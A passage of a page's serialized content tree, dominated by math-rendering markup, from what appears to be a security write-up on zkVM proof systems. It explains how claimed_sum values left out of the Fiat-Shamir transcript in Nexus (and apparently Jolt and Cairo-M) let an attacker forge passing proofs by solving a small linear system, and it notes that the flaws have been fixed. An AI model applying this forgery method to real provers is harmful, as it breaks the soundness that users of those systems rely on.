",{"type":23,"tag":38,"props":115104,"children":115106},{"className":115105},[2658,2659],[115107],{"type":23,"tag":141,"props":115108,"children":115110},{"className":115109},[2664],[115111],{"type":23,"tag":141,"props":115112,"children":115114},{"className":115113,"ariaHidden":2670},[2669],[115115,115141,115167,115193],{"type":23,"tag":141,"props":115116,"children":115118},{"className":115117},[2675],[115119,115123,115128,115132,115137],{"type":23,"tag":141,"props":115120,"children":115122},{"className":115121,"style":113615},[2680],[],{"type":23,"tag":141,"props":115124,"children":115126},{"className":115125},[2686,20260],[115127],{"type":29,"value":55},{"type":23,"tag":141,"props":115129,"children":115131},{"className":115130,"style":2767},[2766],[],{"type":23,"tag":141,"props":115133,"children":115135},{"className":115134},[2772],[115136],{"type":29,"value":109794},{"type":23,"tag":141,"props":115138,"children":115140},{"className":115139,"style":2767},[2766],[],{"type":23,"tag":141,"props":115142,"children":115144},{"className":115143},[2675],[115145,115149,115154,115158,115163],{"type":23,"tag":141,"props":115146,"children":115148},{"className":115147,"style":113644},[2680],[],{"type":23,"tag":141,"props":115150,"children":115152},{"className":115151,"style":91766},[2686,20260],[115153],{"type":29,"value":91769},{"type":23,"tag":141,"props":115155,"children":115157},{"className":115156,"style":2767},[2766],[],{"type":23,"tag":141,"props":115159,"children":115161},{"className":115160},[2772],[115162],{"type":29,"value":3058},{"type":23,"tag":141,"props":115164,"children":115166},{"className":115165,"style":2767},[2766],[],{"type":23,"tag":141,"props":115168,"children":115170},{"className":115169},[2675],[115171,115175,115180,115184,115189],{"type":23,"tag":141,"props":115172,"children":115174},{"className":115173,"style":91447},[2680],[],{"type":23,"tag":141,"props":115176,"children":115178},{"className":115177},[2686,20260],[115179],{"type":29,"value":1883},{"type":23,"tag":141,"props":115181,"children":115183},{"className":115182,"style":2863},[2766],[],{"type":23,"tag":141,"props":115185,"children":115187},{"className":115186},[2868],[115188],{"type":29,"value":1377},{"type":23,"tag":141,"props":115190,"children":115192},{"className":115191,"style":2863},[2766],[],{"type":23,"tag":141,"props":115194,"children":115196},{"className":115195},[2675],[115197,115201,115210,115215],{"type":23,"tag":141,"props":115198,"children":115200},{"className":115199,"style":92945},[2680],[],{"type":23,"tag":141,"props":115202,"children":115204},{"className":115203},[2686,29],[115205],{"type":23,"tag":141,"props":115206,"children":115208},{"className":115207},[2686],[115209],{"type":29,"value":115086},{"type":23,"tag":141,"props":115211,"children":115213},{"className":115212,"style":91532},[2686],[115214],{"type":29,"value":1743},{"type":23,"tag":141,"props":115216,"children":115218},{"className":115217},[2686,29],[115219],{"type":23,"tag":141,"props":115220,"children":115222},{"className":115221},[2686],[115223],{"type":29,"value":36019},{"type":29,"value":322},{"type":23,"tag":32,"props":115226,"children":115227},{},[115228],{"type":29,"value":115229},"Because multiple claims are coupled across verification stages, the attacker may need to adjust a small set of claim values simultaneously to satisfy all affected constraints.",{"type":23,"tag":32,"props":115231,"children":115232},{},[115233],{"type":29,"value":115234},"This can be exploited by solving a small linear system over a handful of unbound claim values so all affected checks pass simultaneously.",{"type":23,"tag":32,"props":115236,"children":115237},{},[115238,115243,115245],{"type":23,"tag":3998,"props":115239,"children":115240},{},[115241],{"type":29,"value":115242},"Status:",{"type":29,"value":115244}," Fixed on October 3, 2025 via ",{"type":23,"tag":55,"props":115246,"children":115249},{"href":115247,"rel":115248},"https://github.com/a16z/jolt/pull/981",[59],[115250],{"type":29,"value":115251},"PR #981",{"type":23,"tag":17463,"props":115253,"children":115254},{},[],{"type":23,"tag":8287,"props":115256,"children":115258},{"id":115257},"nexus",[115259],{"type":29,"value":106351},{"type":23,"tag":32,"props":115261,"children":115262},{},[115263],{"type":29,"value":115264},"Nexus is a zkVM built on the Stwo prover (from StarkWare). It uses STARKs with logup lookup arguments.",{"type":23,"tag":32,"props":115266,"children":115267},{},[115268,115270,115275],{"type":29,"value":115269},"Nexus splits verification into ",{"type":23,"tag":3998,"props":115271,"children":115272},{},[115273],{"type":29,"value":115274},"components",{"type":29,"value":115276}," such as instruction execution, memory, registers, etc. Each component handles a subset of constraints.",{"type":23,"tag":32,"props":115278,"children":115279},{},[115280,115282,115287],{"type":29,"value":115281},"Each component emits and consumes lookup tuples. The component's ",{"type":23,"tag":38,"props":115283,"children":115285},{"className":115284},[],[115286],{"type":29,"value":113396},{"type":29,"value":115288}," summarizes its net contribution:",{"type":23,"tag":32,"props":115290,"children":115291},{},[115292],{"type":23,"tag":38,"props":115293,"children":115295},{"className":115294},[2658,2659],[115296],{"type":23,"tag":141,"props":115297,"children":115299},{"className":115298},[2664],[115300],{"type":23,"tag":141,"props":115301,"children":115303},{"className":115302,"ariaHidden":2670},[2669],[115304,115400,115649],{"type":23,"tag":141,"props":115305,"children":115307},{"className":115306},[2675],[115308,115312,115321,115326,115387,115391,115396],{"type":23,"tag":141,"props":115309,"children":115311},{"className":115310,"style":92945},[2680],[],{"type":23,"tag":141,"props":115313,"children":115315},{"className":115314},[2686,29],[115316],{"type":23,"tag":141,"props":115317,"children":115319},{"className":115318},[2686],[115320],{"type":29,"value":112625},{"type":23,"tag":141,"props":115322,"children":115324},{"className":115323,"style":91532},[2686],[115325],{"type":29,"value":1743},{"type":23,"tag":141,"props":115327,"children":115329},{"className":115328},[2686],[115330,115339],{"type":23,"tag":141,"props":115331,"children":115333},{"className":115332},[2686,29],[115334],{"type":23,"tag":141,"props":115335,"children":115337},{"className":115336},[2686],[115338],{"type":29,"value":75117},{"type":23,"tag":141,"props":115340,"children":115342},{"className":115341},[2702],[115343],{"type":23,"tag":141,"props":115344,"children":115346},{"className":115345},[2707,20314],[115347,115376],{"type":23,"tag":141,"props":115348,"children":115350},{"className":115349},[2712],[115351,115371],{"type":23,"tag":141,"props":115352,"children":115354},{"className":115353,"style":92061},[2717],[115355],{"type":23,"tag":141,"props":115356,"children":115357},{"style":112662},[115358,115362],{"type":23,"tag":141,"props":115359,"children":115361},{"className":115360,"style":2727},[2726],[],{"type":23,"tag":141,"props":115363,"children":115365},{"className":115364},[2732,2733,2734,2735],[115366],{"type":23,"tag":141,"props":115367,"children":115369},{"className":115368},[2686,20260,2735],[115370],{"type":29,"value":2404},{"type":23,"tag":141,"props":115372,"children":115374},{"className":115373},[20417],[115375],{"type":29,"value":20420},{"type":23,"tag":141,"props":115377,"children":115379},{"className":115378},[2712],[115380],{"type":23,"tag":141,"props":115381,"children":115383},{"className":115382,"style":91615},[2717],[115384],{"type":23,"tag":141,"props":115385,"children":115386},{},[],{"type":23,"tag":141,"props":115388,"children":115390},{"className":115389,"style":2863},[2766],[],{"type":23,"tag":141,"props":115392,"children":115394},{"className":115393},[2868],[115395],{"type":29,"value":1377},{"type":23,"tag":141,"props":115397,"children":115399},{"className":115398,"style":2863},[2766],[],{"type":23,"tag":141,"props":115401,"children":115403},{"className":115402},[2675],[115404,115409,115466,115470,115636,115640,115645],{"type":23,"tag":141,"props":115405,"children":115408},{"className":115406,"style":115407},[2680],"height:1.4734em;vertical-align:-0.6283em;",[],{"type":23,"tag":141,"props":115410,"children":115412},{"className":115411},[20296],[115413,115418],{"type":23,"tag":141,"props":115414,"children":115416},{"className":115415,"style":20303},[20296,20301,20302],[115417],{"type":29,"value":107327},{"type":23,"tag":141,"props":115419,"children":115421},{"className":115420},[2702],[115422],{"type":23,"tag":141,"props":115423,"children":115425},{"className":115424},[2707,20314],[115426,115455],{"type":23,"tag":141,"props":115427,"children":115429},{"className":115428},[2712],[115430,115450],{"type":23,"tag":141,"props":115431,"children":115433},{"className":115432,"style":112739},[2717],[115434],{"type":23,"tag":141,"props":115435,"children":115436},{"style":20327},[115437,115441],{"type":23,"tag":141,"props":115438,"children":115440},{"className":115439,"style":2727},[2726],[],{"type":23,"tag":141,"props":115442,"children":115444},{"className":115443},[2732,2733,2734,2735],[115445],{"type":23,"tag":141,"props":115446,"children":115448},{"className":115447,"style":112755},[2686,20260,2735],[115449],{"type":29,"value":7332},{"type":23,"tag":141,"props":115451,"children":115453},{"className":115452},[20417],[115454],{"type":29,"value":20420},{"type":23,"tag":141,"props":115456,"children":115458},{"className":115457},[2712],[115459],{"type":23,"tag":141,"props":115460,"children":115462},{"className":115461,"style":112770},[2717],[115463],{"type":23,"tag":141,"props":115464,"children":115465},{},[],{"type":23,"tag":141,"props":115467,"children":115469},{"className":115468,"style":2804},[2766],[],{"type":23,"tag":141,"props":115471,"children":115473},{"className":115472},[2686],[115474,115478,115632],{"type":23,"tag":141,"props":115475,"children":115477},{"className":115476},[20389,112050],[],{"type":23,"tag":141,"props":115479,"children":115481},{"className":115480},[112055],[115482],{"type":23,"tag":141,"props":115483,"children":115485},{"className":115484},[2707,20314],[115486,115620],{"type":23,"tag":141,"props":115487,"children":115489},{"className":115488},[2712],[115490,115615],{"type":23,"tag":141,"props":115491,"children":115493},{"className":115492,"style":112068},[2717],[115494,115584,115595],{"type":23,"tag":141,"props":115495,"children":115496},{"style":112072},[115497,115501],{"type":23,"tag":141,"props":115498,"children":115500},{"className":115499,"style":110703},[2726],[],{"type":23,"tag":141,"props":115502,"children":115504},{"className":115503},[2732,2733,2734,2735],[115505],{"type":23,"tag":141,"props":115506,"children":115508},{"className":115507},[2686,2735],[115509,115514,115519],{"type":23,"tag":141,"props":115510,"children":115512},{"className":115511,"style":112089},[2686,20260,2735],[115513],{"type":29,"value":112092},{"type":23,"tag":141,"props":115515,"children":115517},{"className":115516},[2772,2735],[115518],{"type":29,"value":2746},{"type":23,"tag":141,"props":115520,"children":115522},{"className":115521},[2686,2735],[115523,115533],{"type":23,"tag":141,"props":115524,"children":115526},{"className":115525},[2686,29,2735],[115527],{"type":23,"tag":141,"props":115528,"children":115530},{"className":115529},[2686,2735],[115531],{"type":29,"value":115532},"produced",{"type":23,"tag":141,"props":115534,"children":115536},{"className":115535},[2702],[115537],{"type":23,"tag":141,"props":115538,"children":115540},{"className":115539},[2707,20314],[115541,115572],{"type":23,"tag":141,"props":115542,"children":115544},{"className":115543},[2712],[115545,115567],{"type":23,"tag":141,"props":115546,"children":115549},{"className":115547,"style":115548},[2717],"height:0.2052em;",[115550],{"type":23,"tag":141,"props":115551,"children":115553},{"style":115552},"top:-2.2341em;margin-right:0.0714em;",[115554,115558],{"type":23,"tag":141,"props":115555,"children":115557},{"className":115556,"style":107392},[2726],[],{"type":23,"tag":141,"props":115559,"children":115561},{"className":115560},[2732,107397,107398,2735],[115562],{"type":23,"tag":141,"props":115563,"children":115565},{"className":115564,"style":112755},[2686,20260,2735],[115566],{"type":29,"value":7332},{"type":23,"tag":141,"props":115568,"children":115570},{"className":115569},[20417],[115571],{"type":29,"value":20420},{"type":23,"tag":141,"props":115573,"children":115575},{"className":115574},[2712],[115576],{"type":23,"tag":141,"props":115577,"children":115580},{"className":115578,"style":115579},[2717],"height:0.4048em;",[115581],{"type":23,"tag":141,"props":115582,"children":115583},{},[],{"type":23,"tag":141,"props":115585,"children":115586},{"style":112105},[115587,115591],{"type":23,"tag":141,"props":115588,"children":115590},{"className":115589,"style":110703},[2726],[],{"type":23,"tag":141,"props":115592,"children":115594},{"className":115593,"style":112115},[112114],[],{"type":23,"tag":141,"props":115596,"children":115597},{"style":112119},[115598,115602],{"type":23,"tag":141,"props":115599,"children":115601},{"className":115600,"style":110703},[2726],[],{"type":23,"tag":141,"props":115603,"children":115605},{"className":115604},[2732,2733,2734,2735],[115606],{"type":23,"tag":141,"props":115607,"children":115609},{"className":115608},[2686,2735],[115610],{"type":23,"tag":141,"props":115611,"children":115613},{"className":115612},[2686,2735],[115614],{"type":29,"value":687},{"type":23,"tag":141,"props":115616,"children":115618},{"className":115617},[20417],[115619],{"type":29,"value":20420},{"type":23,"tag":141,"props":115621,"children":115623},{"className":115622},[2712],[115624],{"type":23,"tag":141,"props":115625,"children":115628},{"className":115626,"style":115627},[2717],"height:0.6283em;",[115629],{"type":23,"tag":141,"props":115630,"children":115631},{},[],{"type":23,"tag":141,"props":115633,"children":115635},{"className":115634},[20411,112050],[],{"type":23,"tag":141,"props":115637,"children":115639},{"className":115638,"style":2767},[2766],[],{"type":23,"tag":141,"props":115641,"children":115643},{"className":115642},[2772],[115644],{"type":29,"value":2746},{"type":23,"tag":141,"props":115646,"children":115648},{"className":115647,"style":2767},[2766],[],{"type":23,"tag":141,"props":115650,"children":115652},{"className":115651},[2675],[115653,115657,115714,115718],{"type":23,"tag":141,"props":115654,"children":115656},{"className":115655,"style":112964},[2680],[],{"type":23,"tag":141,"props":115658,"children":115660},{"className":115659},[20296],[115661,115666],{"type":23,"tag":141,"props":115662,"children":115664},{"className":115663,"style":20303},[20296,20301,20302],[115665],{"type":29,"value":107327},{"type":23,"tag":141,"props":115667,"children":115669},{"className":115668},[2702],[115670],{"type":23,"tag":141,"props":115671,"children":115673},{"className":115672},[2707,20314],[115674,115703],{"type":23,"tag":141,"props":115675,"children":115677},{"className":115676},[2712],[115678,115698],{"type":23,"tag":141,"props":115679,"children":115681},{"className":115680,"style":112204},[2717],[115682],{"type":23,"tag":141,"props":115683,"children":115684},{"style":20327},[115685,115689],{"type":23,"tag":141,"props":115686,"children":115688},{"className":115687,"style":2727},[2726],[],{"type":23,"tag":141,"props":115690,"children":115692},{"className":115691},[2732,2733,2734,2735],[115693],{"type":23,"tag":141,"props":115694,"children":115696},{"className":115695,"style":92961},[2686,20260,2735],[115697],{"type":29,"value":87169},{"type":23,"tag":141,"props":115699,"children":115701},{"className":115700},[20417],[115702],{"type":29,"value":20420},{"type":23,"tag":141,"props":115704,"children":115706},{"className":115705},[2712],[115707],{"type":23,"tag":141,"props":115708,"children":115710},{"className":115709,"style":113019},[2717],[115711],{"type":23,"tag":141,"props":115712,"children":115713},{},[],{"type":23,"tag":141,"props":115715,"children":115717},{"className":115716,"style":2804},[2766],[],{"type":23,"tag":141,"props":115719,"children":115721},{"className":115720},[2686],[115722,115726,115876],{"type":23,"tag":141,"props":115723,"children":115725},{"className":115724},[20389,112050],[],{"type":23,"tag":141,"props":115727,"children":115729},{"className":115728},[112055],[115730],{"type":23,"tag":141,"props":115731,"children":115733},{"className":115732},[2707,20314],[115734,115865],{"type":23,"tag":141,"props":115735,"children":115737},{"className":115736},[2712],[115738,115860],{"type":23,"tag":141,"props":115739,"children":115741},{"className":115740,"style":112068},[2717],[115742,115829,115840],{"type":23,"tag":141,"props":115743,"children":115744},{"style":112072},[115745,115749],{"type":23,"tag":141,"props":115746,"children":115748},{"className":115747,"style":110703},[2726],[],{"type":23,"tag":141,"props":115750,"children":115752},{"className":115751},[2732,2733,2734,2735],[115753],{"type":23,"tag":141,"props":115754,"children":115756},{"className":115755},[2686,2735],[115757,115762,115767],{"type":23,"tag":141,"props":115758,"children":115760},{"className":115759,"style":112089},[2686,20260,2735],[115761],{"type":29,"value":112092},{"type":23,"tag":141,"props":115763,"children":115765},{"className":115764},[2772,2735],[115766],{"type":29,"value":2746},{"type":23,"tag":141,"props":115768,"children":115770},{"className":115769},[2686,2735],[115771,115781],{"type":23,"tag":141,"props":115772,"children":115774},{"className":115773},[2686,29,2735],[115775],{"type":23,"tag":141,"props":115776,"children":115778},{"className":115777},[2686,2735],[115779],{"type":29,"value":115780},"consumed",{"type":23,"tag":141,"props":115782,"children":115784},{"className":115783},[2702],[115785],{"type":23,"tag":141,"props":115786,"children":115788},{"className":115787},[2707,20314],[115789,115818],{"type":23,"tag":141,"props":115790,"children":115792},{"className":115791},[2712],[115793,115813],{"type":23,"tag":141,"props":115794,"children":115796},{"className":115795,"style":110864},[2717],[115797],{"type":23,"tag":141,"props":115798,"children":115799},{"style":113109},[115800,115804],{"type":23,"tag":141,"props":115801,"children":115803},{"className":115802,"style":107392},[2726],[],{"type":23,"tag":141,"props":115805,"children":115807},{"className":115806},[2732,107397,107398,2735],[115808],{"type":23,"tag":141,"props":115809,"children":115811},{"className":115810,"style":92961},[2686,20260,2735],[115812],{"type":29,"value":87169},{"type":23,"tag":141,"props":115814,"children":115816},{"className":115815},[20417],[115817],{"type":29,"value":20420},{"type":23,"tag":141,"props":115819,"children":115821},{"className":115820},[2712],[115822],{"type":23,"tag":141,"props":115823,"children":115825},{"className":115824,"style":113136},[2717],[115826],{"type":23,"tag":141,"props":115827,"children":115828},{},[],{"type":23,"tag":141,"props":115830,"children":115831},{"style":112105},[115832,115836],{"type":23,"tag":141,"props":115833,"children":115835},{"className":115834,"style":110703},[2726],[],{"type":23,"tag":141,"props":115837,"children":115839},{"className":115838,"style":112115},[112114],[],{"type":23,"tag":141,"props":115841,"children":115842},{"style":112119},[115843,115847],{"type":23,"tag":141,"props":115844,"children":115846},{"className":115845,"style":110703},[2726],[],{"type":23,"tag":141,"props":115848,"children":115850},{"className":115849},[2732,2733,2734,2735],[115851],{"type":23,"tag":141,"props":115852,"children":115854},{"className":115853},[2686,2735],[115855],{"type":23,"tag":141,"props":115856,"children":115858},{"className":115857},[2686,2735],[115859],{"type":29,"value":687},{"type":23,"tag":141,"props":115861,"children":115863},{"className":115862},[20417],[115864],{"type":29,"value":20420},{"type":23,"tag":141,"props":115866,"children":115868},{"className":115867},[2712],[115869],{"type":23,"tag":141,"props":115870,"children":115872},{"className":115871,"style":113184},[2717],[115873],{"type":23,"tag":141,"props":115874,"children":115875},{},[],{"type":23,"tag":141,"props":115877,"children":115879},{"className":115878},[20411,112050],[],{"type":23,"tag":32,"props":115881,"children":115882},{},[115883,115885,115890],{"type":29,"value":115884},"All ",{"type":23,"tag":38,"props":115886,"children":115888},{"className":115887},[],[115889],{"type":29,"value":113396},{"type":29,"value":115891}," values must sum to zero (everything produced is consumed).",{"type":23,"tag":32,"props":115893,"children":115894},{},[115895,115897,115902],{"type":29,"value":115896},"All constraints are combined into a composition polynomial. The verifier then checks this polynomial at a random point outside the execution domain, known as an ",{"type":23,"tag":3998,"props":115898,"children":115899},{},[115900],{"type":29,"value":115901},"OODS (Out-of-Domain Sampling)",{"type":29,"value":115903}," test.",{"type":23,"tag":32,"props":115905,"children":115906},{},[115907],{"type":23,"tag":3998,"props":115908,"children":115909},{},[115910],{"type":29,"value":113948},{"type":23,"tag":131,"props":115912,"children":115914},{"code":115913},"NexusProof {\n stark_proof: {\n commitments: [Merkle roots of trace columns]\n sampled_values: [polynomial evaluations]\n fri_proof: [low-degree test proof]\n }\n claimed_sum: [FieldElement; NUM_COMPONENTS] // \u003C- VULNERABLE\n log_size: [component sizes]\n}\n",[115915],{"type":23,"tag":38,"props":115916,"children":115917},{"__ignoreMap":7},[115918],{"type":29,"value":115913},{"type":23,"tag":32,"props":115920,"children":115921},{},[115922,115924,115929],{"type":29,"value":115923},"The",{"type":23,"tag":38,"props":115925,"children":115927},{"className":115926},[],[115928],{"type":29,"value":113396},{"type":29,"value":115930}," values are checked to be of correct length, that they sum to zero, and are used in the final composition polynomial. But at no point were they absorbed into the transcript.",{"type":23,"tag":32,"props":115932,"children":115933},{},[115934],{"type":23,"tag":2591,"props":115935,"children":115938},{"alt":115936,"src":115937},"6_nexus_flow","/posts/zkvms-unfaithful-claims/6_nexus_flow.svg",[],{"type":23,"tag":32,"props":115940,"children":115941},{},[115942,115944,115953],{"type":29,"value":115943},"The OODS check computes the composition polynomial, which includes logup boundary constraints. These constraints are ",{"type":23,"tag":3998,"props":115945,"children":115946},{},[115947,115948],{"type":29,"value":110403},{"type":23,"tag":38,"props":115949,"children":115951},{"className":115950},[],[115952],{"type":29,"value":113396},{"type":29,"value":114},{"type":23,"tag":32,"props":115955,"children":115956},{},[115957],{"type":29,"value":115958},"The composition polynomial is a random linear combination of constraints:",{"type":23,"tag":32,"props":115960,"children":115961},{},[115962],{"type":23,"tag":38,"props":115963,"children":115965},{"className":115964},[2658,2659],[115966],{"type":23,"tag":141,"props":115967,"children":115969},{"className":115968},[2664],[115970],{"type":23,"tag":141,"props":115971,"children":115973},{"className":115972,"ariaHidden":2670},[2669],[115974,116015,116154],{"type":23,"tag":141,"props":115975,"children":115977},{"className":115976},[2675],[115978,115982,115987,115992,115997,116002,116006,116011],{"type":23,"tag":141,"props":115979,"children":115981},{"className":115980,"style":2787},[2680],[],{"type":23,"tag":141,"props":115983,"children":115985},{"className":115984,"style":20792},[2686,20260],[115986],{"type":29,"value":114761},{"type":23,"tag":141,"props":115988,"children":115990},{"className":115989},[20389],[115991],{"type":29,"value":192},{"type":23,"tag":141,"props":115993,"children":115995},{"className":115994},[2686,20260],[115996],{"type":29,"value":17947},{"type":23,"tag":141,"props":115998,"children":116000},{"className":115999},[20411],[116001],{"type":29,"value":1788},{"type":23,"tag":141,"props":116003,"children":116005},{"className":116004,"style":2863},[2766],[],{"type":23,"tag":141,"props":116007,"children":116009},{"className":116008},[2868],[116010],{"type":29,"value":1377},{"type":23,"tag":141,"props":116012,"children":116014},{"className":116013,"style":2863},[2766],[],{"type":23,"tag":141,"props":116016,"children":116018},{"className":116017},[2675],[116019,116023,116080,116084,116141,116145,116150],{"type":23,"tag":141,"props":116020,"children":116022},{"className":116021,"style":114165},[2680],[],{"type":23,"tag":141,"props":116024,"children":116026},{"className":116025},[20296],[116027,116032],{"type":23,"tag":141,"props":116028,"children":116030},{"className":116029,"style":20303},[20296,20301,20302],[116031],{"type":29,"value":107327},{"type":23,"tag":141,"props":116033,"children":116035},{"className":116034},[2702],[116036],{"type":23,"tag":141,"props":116037,"children":116039},{"className":116038},[2707,20314],[116040,116069],{"type":23,"tag":141,"props":116041,"children":116043},{"className":116042},[2712],[116044,116064],{"type":23,"tag":141,"props":116045,"children":116047},{"className":116046,"style":112739},[2717],[116048],{"type":23,"tag":141,"props":116049,"children":116050},{"style":20327},[116051,116055],{"type":23,"tag":141,"props":116052,"children":116054},{"className":116053,"style":2727},[2726],[],{"type":23,"tag":141,"props":116056,"children":116058},{"className":116057},[2732,2733,2734,2735],[116059],{"type":23,"tag":141,"props":116060,"children":116062},{"className":116061},[2686,20260,2735],[116063],{"type":29,"value":2404},{"type":23,"tag":141,"props":116065,"children":116067},{"className":116066},[20417],[116068],{"type":29,"value":20420},{"type":23,"tag":141,"props":116070,"children":116072},{"className":116071},[2712],[116073],{"type":23,"tag":141,"props":116074,"children":116076},{"className":116075,"style":113019},[2717],[116077],{"type":23,"tag":141,"props":116078,"children":116079},{},[],{"type":23,"tag":141,"props":116081,"children":116083},{"className":116082,"style":2804},[2766],[],{"type":23,"tag":141,"props":116085,"children":116087},{"className":116086},[2686],[116088,116093],{"type":23,"tag":141,"props":116089,"children":116091},{"className":116090,"style":113620},[2686,20260],[116092],{"type":29,"value":113623},{"type":23,"tag":141,"props":116094,"children":116096},{"className":116095},[2702],[116097],{"type":23,"tag":141,"props":116098,"children":116100},{"className":116099},[2707,20314],[116101,116130],{"type":23,"tag":141,"props":116102,"children":116104},{"className":116103},[2712],[116105,116125],{"type":23,"tag":141,"props":116106,"children":116108},{"className":116107,"style":92061},[2717],[116109],{"type":23,"tag":141,"props":116110,"children":116111},{"style":114255},[116112,116116],{"type":23,"tag":141,"props":116113,"children":116115},{"className":116114,"style":2727},[2726],[],{"type":23,"tag":141,"props":116117,"children":116119},{"className":116118},[2732,2733,2734,2735],[116120],{"type":23,"tag":141,"props":116121,"children":116123},{"className":116122},[2686,20260,2735],[116124],{"type":29,"value":2404},{"type":23,"tag":141,"props":116126,"children":116128},{"className":116127},[20417],[116129],{"type":29,"value":20420},{"type":23,"tag":141,"props":116131,"children":116133},{"className":116132},[2712],[116134],{"type":23,"tag":141,"props":116135,"children":116137},{"className":116136,"style":91615},[2717],[116138],{"type":23,"tag":141,"props":116139,"children":116140},{},[],{"type":23,"tag":141,"props":116142,"children":116144},{"className":116143,"style":2767},[2766],[],{"type":23,"tag":141,"props":116146,"children":116148},{"className":116147},[2772],[116149],{"type":29,"value":109794},{"type":23,"tag":141,"props":116151,"children":116153},{"className":116152,"style":2767},[2766],[],{"type":23,"tag":141,"props":116155,"children":116157},{"className":116156},[2675],[116158,116162,116224,116229,116234],{"type":23,"tag":141,"props":116159,"children":116161},{"className":116160,"style":2787},[2680],[],{"type":23,"tag":141,"props":116163,"children":116165},{"className":116164},[2686],[116166,116176],{"type":23,"tag":141,"props":116167,"children":116169},{"className":116168},[2686,29],[116170],{"type":23,"tag":141,"props":116171,"children":116173},{"className":116172},[2686],[116174],{"type":29,"value":116175},"constraint",{"type":23,"tag":141,"props":116177,"children":116179},{"className":116178},[2702],[116180],{"type":23,"tag":141,"props":116181,"children":116183},{"className":116182},[2707,20314],[116184,116213],{"type":23,"tag":141,"props":116185,"children":116187},{"className":116186},[2712],[116188,116208],{"type":23,"tag":141,"props":116189,"children":116191},{"className":116190,"style":92061},[2717],[116192],{"type":23,"tag":141,"props":116193,"children":116194},{"style":112662},[116195,116199],{"type":23,"tag":141,"props":116196,"children":116198},{"className":116197,"style":2727},[2726],[],{"type":23,"tag":141,"props":116200,"children":116202},{"className":116201},[2732,2733,2734,2735],[116203],{"type":23,"tag":141,"props":116204,"children":116206},{"className":116205},[2686,20260,2735],[116207],{"type":29,"value":2404},{"type":23,"tag":141,"props":116209,"children":116211},{"className":116210},[20417],[116212],{"type":29,"value":20420},{"type":23,"tag":141,"props":116214,"children":116216},{"className":116215},[2712],[116217],{"type":23,"tag":141,"props":116218,"children":116220},{"className":116219,"style":91615},[2717],[116221],{"type":23,"tag":141,"props":116222,"children":116223},{},[],{"type":23,"tag":141,"props":116225,"children":116227},{"className":116226},[20389],[116228],{"type":29,"value":192},{"type":23,"tag":141,"props":116230,"children":116232},{"className":116231},[2686,20260],[116233],{"type":29,"value":17947},{"type":23,"tag":141,"props":116235,"children":116237},{"className":116236},[20411],[116238],{"type":29,"value":1788},{"type":23,"tag":32,"props":116240,"children":116241},{},[116242,116244,116249,116251,116256],{"type":29,"value":116243},"Since each constraint is linear in its ",{"type":23,"tag":38,"props":116245,"children":116247},{"className":116246},[],[116248],{"type":29,"value":113396},{"type":29,"value":116250},", the overall composition polynomial is linear in all ",{"type":23,"tag":38,"props":116252,"children":116254},{"className":116253},[],[116255],{"type":29,"value":113396},{"type":29,"value":116257}," values.",{"type":23,"tag":32,"props":116259,"children":116260},{},[116261,116263],{"type":29,"value":116262},"The verifier checks ",{"type":23,"tag":38,"props":116264,"children":116266},{"className":116265},[2658,2659],[116267],{"type":23,"tag":141,"props":116268,"children":116270},{"className":116269},[2664],[116271],{"type":23,"tag":141,"props":116272,"children":116274},{"className":116273,"ariaHidden":2670},[2669],[116275,116336],{"type":23,"tag":141,"props":116276,"children":116278},{"className":116277},[2675],[116279,116283,116288,116293,116303,116308,116318,116323,116327,116332],{"type":23,"tag":141,"props":116280,"children":116282},{"className":116281,"style":91474},[2680],[],{"type":23,"tag":141,"props":116284,"children":116286},{"className":116285,"style":20792},[2686,20260],[116287],{"type":29,"value":114761},{"type":23,"tag":141,"props":116289,"children":116291},{"className":116290},[20389],[116292],{"type":29,"value":192},{"type":23,"tag":141,"props":116294,"children":116296},{"className":116295},[2686,29],[116297],{"type":23,"tag":141,"props":116298,"children":116300},{"className":116299},[2686],[116301],{"type":29,"value":116302},"oods",{"type":23,"tag":141,"props":116304,"children":116306},{"className":116305,"style":91532},[2686],[116307],{"type":29,"value":1743},{"type":23,"tag":141,"props":116309,"children":116311},{"className":116310},[2686,29],[116312],{"type":23,"tag":141,"props":116313,"children":116315},{"className":116314},[2686],[116316],{"type":29,"value":116317},"point",{"type":23,"tag":141,"props":116319,"children":116321},{"className":116320},[20411],[116322],{"type":29,"value":1788},{"type":23,"tag":141,"props":116324,"children":116326},{"className":116325,"style":2863},[2766],[],{"type":23,"tag":141,"props":116328,"children":116330},{"className":116329},[2868],[116331],{"type":29,"value":1377},{"type":23,"tag":141,"props":116333,"children":116335},{"className":116334,"style":2863},[2766],[],{"type":23,"tag":141,"props":116337,"children":116339},{"className":116338},[2675],[116340,116344],{"type":23,"tag":141,"props":116341,"children":116343},{"className":116342,"style":113587},[2680],[],{"type":23,"tag":141,"props":116345,"children":116347},{"className":116346},[2686,29],[116348],{"type":23,"tag":141,"props":116349,"children":116351},{"className":116350},[2686],[116352],{"type":29,"value":115086},{"type":23,"tag":32,"props":116354,"children":116355},{},[116356,116358,116363,116365,116370],{"type":29,"value":116357},"With ",{"type":23,"tag":38,"props":116359,"children":116361},{"className":116360},[],[116362],{"type":29,"value":113396},{"type":29,"value":116364}," not in transcript, the composition polynomial becomes a linear function of the ",{"type":23,"tag":38,"props":116366,"children":116368},{"className":116367},[],[116369],{"type":29,"value":113396},{"type":29,"value":116371}," values. Combined with the constraint that claimed sums must sum to zero, this is a small linear system that is easily solvable.",{"type":23,"tag":32,"props":116373,"children":116374},{},[116375,116379,116381],{"type":23,"tag":3998,"props":116376,"children":116377},{},[116378],{"type":29,"value":115242},{"type":29,"value":116380}," Fixed on October 24, 2025 via ",{"type":23,"tag":55,"props":116382,"children":116385},{"href":116383,"rel":116384},"https://github.com/nexus-xyz/nexus-zkvm/pull/503",[59],[116386],{"type":29,"value":116387},"PR #503",{"type":23,"tag":17463,"props":116389,"children":116390},{},[],{"type":23,"tag":8287,"props":116392,"children":116394},{"id":116393},"cairo-m-kakarot-labs",[116395],{"type":29,"value":116396},"Cairo-M (Kakarot Labs)",{"type":23,"tag":32,"props":116398,"children":116399},{},[116400],{"type":29,"value":116401},"Cairo-M, built by Kakarot Labs, is an alternative proof system for the Cairo VM (used by Starknet).",{"type":23,"tag":32,"props":116403,"children":116404},{},[116405],{"type":29,"value":116406},"Cairo-M is in many ways similar to Nexus. It uses logup to prove global statements about the execution.",{"type":23,"tag":32,"props":116408,"children":116409},{},[116410],{"type":23,"tag":3998,"props":116411,"children":116412},{},[116413],{"type":29,"value":113948},{"type":23,"tag":131,"props":116415,"children":116417},{"code":116416},"Proof {\n claim: ComponentSizes,\n interaction_claim: LogupClaimsPerComponent,\n public_data: { // \u003C- VULNERABLE\n 